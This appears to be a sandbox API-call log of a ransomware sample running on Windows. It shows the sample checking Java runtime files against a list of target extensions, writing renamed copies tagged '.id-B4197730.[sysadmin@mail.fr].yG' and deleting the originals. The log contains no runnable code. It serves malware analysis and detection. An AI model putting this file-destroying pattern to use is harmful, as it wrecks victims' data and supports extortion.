	[0141.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.764] lstrlenW (lpString=".doc") returned 4
	[0141.764] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.764] lstrlenW (lpString=".docx") returned 5
	[0141.764] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0141.764] lstrlenW (lpString=".pdf") returned 4
	[0141.764] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.764] lstrlenW (lpString=".xls") returned 4
	[0141.764] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.764] lstrlenW (lpString=".xlsx") returned 5
	[0141.764] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0141.764] lstrlenW (lpString=".ppt") returned 4
	[0141.764] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.764] lstrlenW (lpString=".zip") returned 4
	[0141.764] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.764] lstrlenW (lpString=".rar") returned 4
	[0141.764] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.764] lstrlenW (lpString=".bz2") returned 4
	[0141.764] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.764] lstrlenW (lpString=".7z") returned 3
	[0141.764] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.764] lstrlenW (lpString=".dbf") returned 4
	[0141.764] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.764] lstrlenW (lpString=".1cd") returned 4
	[0141.764] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0141.765] lstrlenW (lpString=".jpg") returned 4
	[0141.765] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.765] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.765] lstrlenW (lpString="localedata.jar") returned 14
	[0141.765] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.836] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=2204781) returned 1
	[0141.836] CloseHandle (hObject=0x4a0) returned 1
	[0141.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20
	[0141.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0141.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.837] lstrlenW (lpString=".doc") returned 4
	[0141.837] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.837] lstrlenW (lpString=".docx") returned 5
	[0141.837] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0141.837] lstrlenW (lpString=".pdf") returned 4
	[0141.837] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.837] lstrlenW (lpString=".xls") returned 4
	[0141.837] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.837] lstrlenW (lpString=".xlsx") returned 5
	[0141.837] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0141.837] lstrlenW (lpString=".ppt") returned 4
	[0141.837] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.837] lstrlenW (lpString=".zip") returned 4
	[0141.837] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.837] lstrlenW (lpString=".rar") returned 4
	[0141.837] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.837] lstrlenW (lpString=".bz2") returned 4
	[0141.838] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.838] lstrlenW (lpString=".7z") returned 3
	[0141.838] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.838] lstrlenW (lpString=".dbf") returned 4
	[0141.838] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.838] lstrlenW (lpString=".1cd") returned 4
	[0141.838] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.838] lstrlenW (lpString=".jpg") returned 4
	[0141.838] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.838] lstrlenW (lpString=".doc") returned 4
	[0141.838] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.838] lstrlenW (lpString=".docx") returned 5
	[0141.838] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0141.838] lstrlenW (lpString=".pdf") returned 4
	[0141.838] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.838] lstrlenW (lpString=".xls") returned 4
	[0141.838] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.838] lstrlenW (lpString=".xlsx") returned 5
	[0141.838] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0141.838] lstrlenW (lpString=".ppt") returned 4
	[0141.838] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.839] lstrlenW (lpString=".zip") returned 4
	[0141.839] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.839] lstrlenW (lpString=".rar") returned 4
	[0141.839] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.839] lstrlenW (lpString=".bz2") returned 4
	[0141.839] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.839] lstrlenW (lpString=".7z") returned 3
	[0141.839] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.839] lstrlenW (lpString=".dbf") returned 4
	[0141.839] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.839] lstrlenW (lpString=".1cd") returned 4
	[0141.839] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0141.839] lstrlenW (lpString=".jpg") returned 4
	[0141.839] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.839] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.840] lstrlenW (lpString="sunec.jar") returned 9
	[0141.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.841] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=42185) returned 1
	[0141.841] CloseHandle (hObject=0x4a0) returned 1
	[0141.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20
	[0141.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.842] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.842] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.842] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.842] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0141.846] GetLastError () returned 0x0
	[0141.846] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xa4c9, lpOverlapped=0x0) returned 1
	[0141.853] WriteFile (in: hFile=0x3a0, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xa4d0, lpOverlapped=0x0) returned 1
	[0141.855] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.855] WriteFile (in: hFile=0x3a0, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0141.855] SetEndOfFile (hFile=0x3a0) returned 1
	[0141.855] CloseHandle (hObject=0x3a0) returned 1
	[0141.855] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.856] SetEndOfFile (hFile=0x4a0) returned 1
	[0141.860] CloseHandle (hObject=0x4a0) returned 1
	[0141.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0142.038] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1
	[0143.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.906] lstrlenW (lpString=".doc") returned 4
	[0143.906] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0143.906] lstrlenW (lpString=".docx") returned 5
	[0143.906] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0143.906] lstrlenW (lpString=".pdf") returned 4
	[0143.906] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0143.906] lstrlenW (lpString=".xls") returned 4
	[0143.906] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0143.906] lstrlenW (lpString=".xlsx") returned 5
	[0143.906] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0143.906] lstrlenW (lpString=".ppt") returned 4
	[0143.906] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0143.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.907] lstrlenW (lpString=".zip") returned 4
	[0143.907] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0143.907] lstrlenW (lpString=".rar") returned 4
	[0143.907] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0143.907] lstrlenW (lpString=".bz2") returned 4
	[0143.907] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0143.907] lstrlenW (lpString=".7z") returned 3
	[0143.907] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0143.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.907] lstrlenW (lpString=".dbf") returned 4
	[0143.907] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0143.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.907] lstrlenW (lpString=".1cd") returned 4
	[0143.907] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0143.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.907] lstrlenW (lpString=".jpg") returned 4
	[0143.907] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0143.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.907] lstrlenW (lpString=".doc") returned 4
	[0143.908] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0143.908] lstrlenW (lpString=".docx") returned 5
	[0143.908] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0143.908] lstrlenW (lpString=".pdf") returned 4
	[0143.908] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0143.908] lstrlenW (lpString=".xls") returned 4
	[0143.908] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0143.908] lstrlenW (lpString=".xlsx") returned 5
	[0143.908] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0143.908] lstrlenW (lpString=".ppt") returned 4
	[0143.908] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0143.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.908] lstrlenW (lpString=".zip") returned 4
	[0143.908] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0143.908] lstrlenW (lpString=".rar") returned 4
	[0143.908] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0143.908] lstrlenW (lpString=".bz2") returned 4
	[0143.908] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0143.908] lstrlenW (lpString=".7z") returned 3
	[0143.908] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0143.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.908] lstrlenW (lpString=".dbf") returned 4
	[0143.908] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0143.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.908] lstrlenW (lpString=".1cd") returned 4
	[0143.909] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0143.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0143.909] lstrlenW (lpString=".jpg") returned 4
	[0143.909] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0143.909] lstrcmpiW (lpString1=".src", lpString2=".yG") returned -1
	[0143.909] lstrlenW (lpString="fontconfig.properties.src") returned 25
	[0143.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0144.038] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=10568) returned 1
	[0144.038] CloseHandle (hObject=0x4dc) returned 1
	[0144.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20
	[0144.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.588] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.588] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0144.592] GetLastError () returned 0x0
	[0144.592] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2948, lpOverlapped=0x0) returned 1
	[0144.605] WriteFile (in: hFile=0x51c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2950, lpOverlapped=0x0) returned 1
	[0144.607] ReadFile (in: hFile=0x530, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.607] WriteFile (in: hFile=0x51c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x106, lpOverlapped=0x0) returned 1
	[0144.607] SetEndOfFile (hFile=0x51c) returned 1
	[0144.607] CloseHandle (hObject=0x51c) returned 1
	[0144.607] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.607] SetEndOfFile (hFile=0x530) returned 1
	[0144.610] CloseHandle (hObject=0x530) returned 1
	[0144.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0144.611] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1
	[0144.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.611] lstrlenW (lpString=".doc") returned 4
	[0144.611] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0144.611] lstrlenW (lpString=".docx") returned 5
	[0144.611] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0144.611] lstrlenW (lpString=".pdf") returned 4
	[0144.611] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0144.611] lstrlenW (lpString=".xls") returned 4
	[0144.612] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0144.612] lstrlenW (lpString=".xlsx") returned 5
	[0144.612] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0144.612] lstrlenW (lpString=".ppt") returned 4
	[0144.612] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0144.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.612] lstrlenW (lpString=".zip") returned 4
	[0144.612] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0144.612] lstrlenW (lpString=".rar") returned 4
	[0144.612] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0144.612] lstrlenW (lpString=".bz2") returned 4
	[0144.612] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0144.612] lstrlenW (lpString=".7z") returned 3
	[0144.612] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0144.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.612] lstrlenW (lpString=".dbf") returned 4
	[0144.612] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0144.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.612] lstrlenW (lpString=".1cd") returned 4
	[0144.612] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0144.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.612] lstrlenW (lpString=".jpg") returned 4
	[0144.612] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0144.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.612] lstrlenW (lpString=".doc") returned 4
	[0144.612] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0144.612] lstrlenW (lpString=".docx") returned 5
	[0144.612] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0144.612] lstrlenW (lpString=".pdf") returned 4
	[0144.613] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0144.613] lstrlenW (lpString=".xls") returned 4
	[0144.613] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0144.613] lstrlenW (lpString=".xlsx") returned 5
	[0144.613] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0144.613] lstrlenW (lpString=".ppt") returned 4
	[0144.613] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0144.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.613] lstrlenW (lpString=".zip") returned 4
	[0144.613] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0144.613] lstrlenW (lpString=".rar") returned 4
	[0144.613] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0144.613] lstrlenW (lpString=".bz2") returned 4
	[0144.613] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0144.613] lstrlenW (lpString=".7z") returned 3
	[0144.613] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0144.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.613] lstrlenW (lpString=".dbf") returned 4
	[0144.613] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0144.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.613] lstrlenW (lpString=".1cd") returned 4
	[0144.613] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0144.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0144.613] lstrlenW (lpString=".jpg") returned 4
	[0144.613] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0144.613] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0144.614] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22
	[0144.614] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0145.009] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=317896) returned 1
	[0145.009] CloseHandle (hObject=0x520) returned 1
	[0145.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20
	[0145.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
